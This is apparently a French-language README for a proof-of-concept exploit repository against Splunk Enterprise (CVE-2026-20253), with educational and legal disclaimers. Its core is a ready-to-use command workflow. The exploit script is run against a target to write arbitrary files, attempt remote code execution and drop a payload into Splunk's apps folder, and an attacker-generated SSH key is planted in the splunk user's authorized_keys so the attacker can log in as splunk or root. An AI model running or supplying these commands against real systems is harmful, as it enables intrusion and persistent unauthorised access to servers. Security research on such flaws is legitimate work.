CVE-2026-20253 - Splunk Enterprise

⚡ Utilisation Simple

Utilisez ce projet uniquement dans des environnements sûrs et autorisés tels que :

• Machines virtuelles locales
• Conteneurs Docker
• Configurations de laboratoire isolées
• Environnements de test d'intrusion autorisés

Exemple de configuration :

git clone https://github.com/HORKimhab/CVE-2026-20253
cd CVE-2026-20253

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirements
pip install -r requirements.txt

Exemple d'utilisation :

# Basic check
python3 cve-2026-20253.py -t http://target:8000 --check

# Write empty/truncated file
python3 cve-2026-20253.py -t http://target:8000 --write "/tmp/pwned"

# Write with content from file
python3 cve-2026-20253.py -t http://target:8000 --write "/tmp/shell.py" --content poc-content.txt

# Advanced (restore + content)
python3 cve-2026-20253.py -t http://target:8000 --write "/opt/splunk/etc/apps/.../payload.py" --content poc-content.txt --restore

# RCE attempt
python3 cve-2026-20253.py -t http://target:8000 --rce

python3 cve-2026-20253_poc.py -t http://target:8000 \
  --write "/path/to/target/file.py" \
  --content poc-content.txt --restore


# SSH 

# Generate SSH key pair (if you don't have one)
ssh-keygen -t ed25519 -C "poc@attacker" -f ~/.ssh/splunk_poc_key -N ""

# Or use RSA if target is older
# ssh-keygen -t rsa -b 4096 -f ~/.ssh/splunk_poc_key -N ""

cat ~/.ssh/splunk_poc_key.pub > poc-content.txt

python3 cve-2026-20253_poc.py -t http://target:8000 \
  --write "/home/splunk/.ssh/authorized_keys" \
  --content poc-content.txt \
  --restore

python3 cve-2026-20253_poc.py -t http://target:8000 \
  --write "/home/splunk/.ssh/authorized_keys" \
  --content poc-content.txt

# Make sure permissions are correct on your side
chmod 600 ~/.ssh/splunk_poc_key

# Connect
ssh -i ~/.ssh/splunk_poc_key splunk@target_ip

# Or as root
ssh -i ~/.ssh/splunk_poc_key root@target_ip


# Step 1: Create directory (may not always work)
python3 cve-2026-20253_poc.py -t http://target:8000 --write "/home/splunk/.ssh/.placeholder"

# Step 2: Write authorized_keys
python3 cve-2026-20253_poc.py -t http://target:8000 --write "/home/splunk/.ssh/authorized_keys" --content poc-content.txt

mkdir -p /home/splunk/.ssh
chmod 700 /home/splunk/.ssh
chmod 600 /home/splunk/.ssh/authorized_keys
chown -R splunk:splunk /home/splunk/.ssh

---

Crédits ou Références

• https://thehackernews.com/2026/06/critical-splunk-enterprise-flaw-lets.html
• watchTowr-vs-Splunk-CVE-2026-20253: https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253
• CVE-2026-20253-0xBlackash: https://github.com/0xBlackash/CVE-2026-20253

---

📚 Dépôt Éducatif de Recherche en Sécurité

Un dépôt pour apprendre, tester et rechercher des concepts de cybersécurité dans des environnements contrôlés.

---

⚠️ Avertissement de Sécurité et Légal

Objectif

Ce dépôt est destiné exclusivement à la recherche en sécurité éducative et autorisée.

Il est conçu pour aider les utilisateurs à apprendre :

• Les vulnérabilités de sécurité
• Les concepts de sandbox et d'isolation
• Les pratiques de codage sécurisé et défensif

---

Utilisation Autorisée Uniquement

Utilisez ce dépôt uniquement dans des environnements pour lesquels vous avez l'autorisation, tels que :

• Laboratoires personnels ou machines virtuelles
• Environnements Docker ou isolés
• Tests d'intrusion autorisés
• Formation en cybersécurité ou recherche académique

Toute utilisation non autorisée ou illégale est strictement interdite.

---

Aucune Responsabilité

Les auteurs et contributeurs ne sont pas responsables des dommages, mauvais usage, problèmes juridiques ou pertes causés par ce projet.

En utilisant ce dépôt, vous acceptez que :

• Vous êtes responsable de vos propres actions
• Vous l'utiliserez de manière légale et éthique
• Le projet est fourni sans garantie

---

Utilisation Éthique

Ce projet est destiné à :

• La recherche en sécurité défensive
• L'éducation en cybersécurité
• La sensibilisation aux vulnérabilités
• La recherche sur les systèmes et logiciels sécurisés

Veuillez suivre les pratiques de divulgation responsable et vous conformer à toutes les lois applicables.

---

Contact

Pour une divulgation responsable ou une collaboration, contactez le mainteneur du dépôt via GitHub.